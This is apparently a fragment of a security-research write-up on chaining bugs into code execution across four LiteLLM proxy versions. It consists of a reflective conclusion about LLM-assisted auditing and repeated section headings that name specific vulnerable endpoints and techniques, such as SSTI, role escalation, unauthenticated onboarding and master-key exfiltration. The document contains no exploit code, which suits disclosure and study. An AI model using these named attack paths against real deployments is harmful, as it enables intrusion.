Across four LiteLLM versions, the goal never changed: start from the attacker position allowed by the contest rules and end with code execution inside the proxy container. What changed was everything in between. v1.82.3 gave us a pre-auth path under a specific failure mode. v1.83.7 turned into a metadata and authorization-boundary problem. v1.83.10 forced us through invitation and onboarding logic after direct role escalation was patched. v1.83.14 removed the obvious admin-escalation paths, so we stopped trying to become admin and went after the master key instead.

The main lesson is that none of these chains came from a single spectacular bug. Most of the individual issues looked like small primitives: a field accepted in metadata, a route check using prefix matching, a self-update path missing field-level authorization, an unauthenticated onboarding helper, or a stored callback value later resolved as a secret. The impact came from composition. In a gateway like LiteLLM, features that look separate on paper — auth, routing, billing, callbacks, integrations, secret handling, and admin tooling — often meet at the same trust boundary.

LLM-assisted auditing helped us move faster, and it was genuinely useful for finding suspicious code paths and individual vulnerabilities. But it did not replace the actual exploit-chain thinking. Once we had a post-auth RCE sink, the hard part was reasoning backward from the contest-allowed attacker position, identifying the missing capability, and looking for a privilege-boundary bypass. The LLM could help summarize unfamiliar code paths, enumerate routes, compare patches, and trace user-controlled data toward dangerous sinks, but the chain still came from manual threat modeling and validation.

In the end, we did not get to bring these chains to the Pwn2Own stage. But the race itself was worth documenting. It showed both the strength and the limit of LLM-assisted vulnerability research: LLMs can help find bugs and speed up code auditing, but turning scattered primitives into a reliable full-chain exploit still requires human reasoning.

Race Against The Patch: The Evolution of Four Exploit Chains in LiteLLM

The Arena and The Target

The Attack Scenario: Rules of Engagement

The Arsenal: Four Chains Across Four Versions

Target Version 1.82.3 / Where it all begin

Bug 1.a: Authentication Bypass on Database Unavailability

Bug 1.b: Prisma DB Connection-pool exhaustion

Bug 2: Jinja2 SSTI via /prompts/test

Bug 3: Python Sandbox Escape via Custom Code Guardrail

Result

Target Version 1.83.7 / The Patch’s Blind Spot

Bug 1: Premium gate bypass in /key/generate

Bug 2: The Route Gate Uses Prefix Matching

Bug 3: `/user/update` Privilege Escalation — Non-Admin Can Set `user_role`

From `PROXY_ADMIN` to root RCE

Result

Target Version 1.83.10 / The Gateless Gate

Bug 3: `/onboarding/get_token` Zero Authentication

Bug 4: A Team Admin Can Invite a proxy_admin

Full Attack Chain

Result

Target Version 1.83.14 / Your Own Spear

`os.environ/VAR`

Root cause: two code paths, one defended, one not.

The Exfil Channel: `/langfuse/anything`

Why the Earlier Fix Wasn’t Enough

Result

One Final Surprise

The Race, At a Glance

Conclusion

References

The Arena and The Target

The Attack Scenario: Rules of Engagement

The Arsenal: Four Chains Across Four Versions

Target Version 1.82.3 / Where it all begin

Bug 1.a: Authentication Bypass on Database Unavailability

Bug 1.b: Prisma DB Connection-pool exhaustion

Bug 2: Jinja2 SSTI via /prompts/test

Bug 3: Python Sandbox Escape via Custom Code Guardrail

Result

Target Version 1.83.7 / The Patch’s Blind Spot

Bug 1: Premium gate bypass in /key/generate

Bug 2: The Route Gate Uses Prefix Matching

Bug 3: /user/update Privilege Escalation — Non-Admin Can Set user_role

From PROXY_ADMIN to root RCE

Result

Target Version 1.83.10 / The Gateless Gate

Bug 3: /onboarding/get_token Zero Authentication

Bug 4: A Team Admin Can Invite a proxy_admin

Full Attack Chain

Result

Target Version 1.83.14 / Your Own Spear

os.environ/VAR

Root cause: two code paths, one defended, one not.

The Exfil Channel: /langfuse/anything

Why the Earlier Fix Wasn’t Enough

Result

One Final Surprise

The Race, At a Glance

Conclusion

References

Bug 3: `/user/update` Privilege Escalation — Non-Admin Can Set `user_role`

From `PROXY_ADMIN` to root RCE

Bug 3: `/onboarding/get_token` Zero Authentication

`os.environ/VAR`

The Exfil Channel: `/langfuse/anything`